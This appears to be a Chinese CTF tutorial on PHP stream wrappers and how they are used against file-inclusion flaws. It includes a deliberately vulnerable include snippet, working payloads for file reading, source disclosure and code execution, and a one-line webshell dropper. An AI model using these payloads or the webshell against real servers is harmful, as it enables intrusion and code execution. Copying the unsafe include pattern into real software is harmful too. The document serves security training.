PHP伪协议

一、伪协议介绍

PHP伪协议,也是php支持的协议和封装协议。

常见的有:

  • file:// 访问本地文件系统
  • php:// 访问各个输入/输出流
  • data:// 数据
  • zip:// 压缩流

不过有些伪协议需要allow_url_fopen和allow_url_include的支持。

  • allow_url_fopen On/Off 允许或禁止打开URL文件
  • allow_url_include On/Off 允许或禁止引用URL文件
    在这里插入图片描述

二、file伪协议

file://伪协议用作是展现本地文件系统。
CTF中一般用来读取本地文件或者执行php脚本。
绝对路径和相对路径或者网络路径(http://127.0.0.1/info.php)都可以。不过网络路径就需要allow_url_fopen和allow_url_include都为On。

tips:
include()/require()/include_once()/require_once()的参数可控的情况下,如果导入的文件为非.php文件,仍会按照PHP语法进行解析,这是include()函数所决定的。

例:使用file://伪协议去包含本地的phpinfo.php和flag.txt

<?php

$file = $_GET['file'];
include $file;

payload:

?file=file://E:\phpinfo.php
?file=../flag.txt
?file=http://127.0.0.1/flag.txt

三、php伪协议

php://伪协议作用是访问各个输入输出流
在CTF中经常用到的是php://filter和php://input
php://filter用来读取源码(.php文件的源码);php://input用来执行php代码(通常以post形式,post一段php代码上去执行)

注:

在enctype="multipart/form-data"的时候,php://input是无效的。

php://filter的各个参数详解:

参数 描述
resource=<要过滤的数据流> 必须项。它指定了你要筛选过滤的数据流
read=<读链的过滤器> 可选项。可以设定一个或多个过滤器名称。
write=<写链的过滤器> 可选项。可以设定一个或多个过滤器名称。
<; 两个链的过滤器> 任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。
转换过滤器 作用
convert.base64-encode & convert.base64-decode 等同于base64_encode()和base64_decode(),base64编码解码
convert.quoted-printable-encode & convert.quoted-printable-decode quoted-printable 字符串与 8-bit 字符串编码解码

例如,读取fileprotocol.php文件源码:

?file=php://filter/read=convert.base64-encode/resource=./fileprotocol.php

读出来base64解码就是源码了。

例如:php://input执行phpinfo()
注:allow_url_include要为On

GET和POST都可以
在这里插入图片描述

如果想写入webshell:

<?php fputs(fopen('1.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

四、zip:// & bzip2:// & zlib:// 协议

zip://、bzip2://、zlib://都属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可以修改为任意后缀:jpg、png、gif、xxx等。

1.zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23)

例:压缩phpinfo.txt为phpinfo.zip,将zip改为xxxx,包含里面的phpinfo.txt

<?phpinclude ($_GET['file']);

payload:

?file=zip://D:\phpstudy_pro\WWW\php-audit\fake_protocol\phpinfo.xxxx%23phpinfo.txt

在这里插入图片描述

2.compress.bzip2://file.bz2(同样支持任意后缀名)

?file=compress.bzip2://E:\phpinfo.xxx

3.compress.zlib://file.gz(同样支持任意后缀名)

?file=compress.zlib://E:\phpinfo.xxx

五、data协议

需要allow_url_include和allow_url_fopen都为On
data://伪协议是数据流封装器,传递相应格式的数据。
通常可以用来执行PHP代码。

用法:

data://text/plain,
data://text/plain;base64,

例:

<?php

$file = $_GET['file'];
include $file;

?file=data://text/plain,<?php%20phpinfo();?>
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

在这里插入图片描述

六、http://和https://协议

远程包含需要allow_url_fopen和allow_url_include都为On。
允许通过HTTP 1.0的GET方法,以只读的方式访问文件或者资源。
CTF中通常用于远程包含。

?file=http:/127.0.0.1/phpinfo.txt

在这里插入图片描述

七、phar://伪协议

phar://伪协议和zip://类似,同样可以访问zip格式压缩包内容

?file=phar://E:\WWW/phpinfo.zip\phpinfo.txt